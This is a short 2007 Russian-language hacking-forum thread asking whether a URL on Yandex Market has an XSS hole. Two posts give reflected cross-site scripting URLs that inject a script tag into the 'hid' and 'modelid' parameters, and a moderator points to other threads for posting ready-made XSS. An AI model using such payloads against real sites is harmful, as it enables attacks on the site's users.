Яндекс Xss ?

Discussion in 'Уязвимости' started by neval, 6 Apr 2007.

Thread Status:
Not open for further replies.
  1. neval

    neval Elder - Старейшина

    Joined:
    13 Dec 2006
    Messages:
    457
    Likes Received:
    116
    Reputations:
    23
    Какая то странноватая ошибка
    Code:
    http://market.yandex.ru/model.xml?hid="><script>alert()</script>734595&modelid=590443
     
  2. »Atom1c«

    »Atom1c« Banned

    Joined:
    4 Nov 2006
    Messages:
    234
    Likes Received:
    285
    Reputations:
    92
    У меня вообще никакой ошибки не выдало....
     
  3. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    Нет это не хсс.
    А вот это да:

    Code:
    http://market.yandex.ru/model.xml?hid=734595"><script>alert()</script>&modelid=590443"><script>alert()</script>
     
    1 person likes this.
  4. neval

    neval Elder - Старейшина

    Joined:
    13 Dec 2006
    Messages:
    457
    Likes Received:
    116
    Reputations:
    23
    вот скрин
    http://1-net.ru/yamar.JPG
     
  5. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    freddi прав...
    Для xss есть отдельные 2 темы, там и постим уже готовые xss...
    Тут вроде разобрались...закрыто...
     
Thread Status:
Not open for further replies.